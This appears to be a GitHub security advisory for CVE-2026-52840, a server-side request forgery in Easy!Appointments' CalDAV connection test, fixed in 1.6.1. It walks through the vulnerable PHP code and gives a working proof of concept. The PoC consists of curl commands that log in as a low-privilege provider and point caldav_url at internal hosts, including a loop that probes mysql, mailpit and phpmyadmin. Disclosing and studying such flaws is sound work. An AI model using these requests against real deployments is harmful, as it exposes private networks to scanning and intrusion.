alextselegidis/easyappointments
Affected
- introduced
0, fixed1.6.1(ecosystem)
Fixed versions
1.6.1
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2026-52840
Easy!Appointments has server-side request forgery in CalDAV connection test that exposes the deployment's internal network
Summary
Caldav::connect_to_server at application/controllers/Caldav.php:60 hands the request's caldav_url to a Guzzle REPORT call without scheme or host validation. A logged-in backend user (admin, provider, or secretary) reaches loopback, RFC1918, and link-local hosts on the deployment's network. The Guzzle exception path returns the upstream status code plus ~120 bytes of response body in the JSON message field (Caldav.php:74-78), so the SSRF is semi-blind.
Preconditions
provider_id and pass the per-row check at Caldav.php:52; admins can target any row.docker-compose.yml, which puts mysql, mailpit, phpmyadmin, baikal, openldap, phpldapadmin, and swagger-ui on the same docker network as php-fpm.Details
// application/controllers/Caldav.php:45-82
public function connect_to_server(): void
{
try {
$provider_id = request('provider_id');
$user_id = session('user_id');
if (cannot('edit', PRIV_USERS) && (int) $user_id !== (int) $provider_id) {
throw new RuntimeException('You do not have the required permissions for this task.');
}
$caldav_url = request('caldav_url'); // (*) attacker-controlled
$caldav_username = request('caldav_username');
$caldav_password = request('caldav_password');
$this->caldav_sync->test_connection($caldav_url, $caldav_username, $caldav_password); // (*) sink
...
} catch (GuzzleException | InvalidArgumentException $e) {
json_response([
'success' => false,
'message' => $e->getMessage(), // (*) upstream body reflected
]);
}
}
The per-row check at line 52 only constrains *which provider record* the caller may write to; it does not constrain *where the outbound request lands*. $caldav_url flows unchanged into Caldav_sync::test_connection at application/libraries/Caldav_sync.php:389, which calls get_http_client to construct a Guzzle client whose base_uri is the attacker URL (Caldav_sync.php:375-382), then issues REPORT against it via fetch_events at Caldav_sync.php:558. The only input check in get_http_client is filter_var($caldav_url, FILTER_VALIDATE_URL) at line 363, which validates the URL grammar - not the host - so loopback, RFC1918, link-local, and arbitrary internal hostnames pass.
When Guzzle raises RequestException, its getMessage() formats as Client error: `REPORT http://target/` resulted in a `405 Method Not Allowed` response: <body truncated to ~120 chars>. Caldav::connect_to_server returns that string verbatim in message. For ConnectException (port closed, DNS failure, TLS handshake error) the message names the host, port, and underlying cURL error number - enough to port-scan the deployment's network.
Proof of concept
Setup
git clone https://github.com/alextselegidis/easyappointments
cd easyappointments
git checkout 1.5.2
cp config-sample.php config.php
docker compose up -d
until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done
administrator (application/libraries/Instance.php:99): docker compose exec -T php-fpm php index.php console install
administrator (the project's session cookie is ea_session) and create an attacker provider. The default require_phone_number=1 setting makes phone_number mandatory: export ADMIN_JAR=/tmp/admin.cookies
curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null
CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR)
curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \
--data-urlencode "csrf_token=$CSRF" \
--data-urlencode "username=administrator" \
--data-urlencode "password=administrator" > /dev/null
CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR)
curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \
--data-urlencode "csrf_token=$CSRF" \
--data-urlencode 'provider[first_name]=Mal' \
--data-urlencode 'provider[last_name]=Lory' \
--data-urlencode 'provider[email][email protected]' \
--data-urlencode 'provider[phone_number]=+10000000000' \
--data-urlencode 'provider[timezone]=UTC' \
--data-urlencode 'provider[language]=english' \
--data-urlencode 'provider[settings][username]=mallory' \
--data-urlencode 'provider[settings][password]=Attacker-pw-1' \
--data-urlencode 'provider[settings][notifications]=0'
export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \
-e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='mallory'")
export ATTACKER_JAR=/tmp/attacker.cookies
curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null
CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \
--data-urlencode "csrf_token=$CSRF" \
--data-urlencode "username=mallory" \
--data-urlencode "password=Attacker-pw-1" > /dev/null
Exploit
nginx container that fronts Easy!Appointments itself, hitting a 404 path. They pass their own $ATTACKER_ID so the row-ownership check at Caldav.php:52 succeeds; the URL has nothing to do with the row: CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \
--data-urlencode "csrf_token=$CSRF" \
--data-urlencode "provider_id=$ATTACKER_ID" \
--data-urlencode "caldav_url=http://nginx/some/404/path" \
--data-urlencode "caldav_username=x" \
--data-urlencode "caldav_password=x"
Observed (verified on a fresh docker compose up): {"success":false,"message":"Client error: \REPORT http:\/\/nginx\/some\/404\/path\/\ resulted in a \404 Not Found\ response:\n\n<!doctype html>\n<html lang=\"en\" style=\"\n height: 100%;\n\">\n<head>\n <meta charset=\"utf-8\">\n <meta http-equiv=\"X- (truncated...)\n"} - the upstream HTTP status and the first chunk of the response body are reflected in the JSON.
for target in mysql:3306 swagger-ui:8080 mailpit:8025 phpmyadmin nonexistent.invalid; do
CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
printf '\n=== %s ===\n' "$target"
curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \
--data-urlencode "csrf_token=$CSRF" \
--data-urlencode "provider_id=$ATTACKER_ID" \
--data-urlencode "caldav_url=http://$target/" \
--data-urlencode "caldav_username=x" \
--data-urlencode "caldav_password=x"
doneLow Basis: The source's own band: LOW
0, fixed 1.6.1 (ecosystem)1.6.1
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0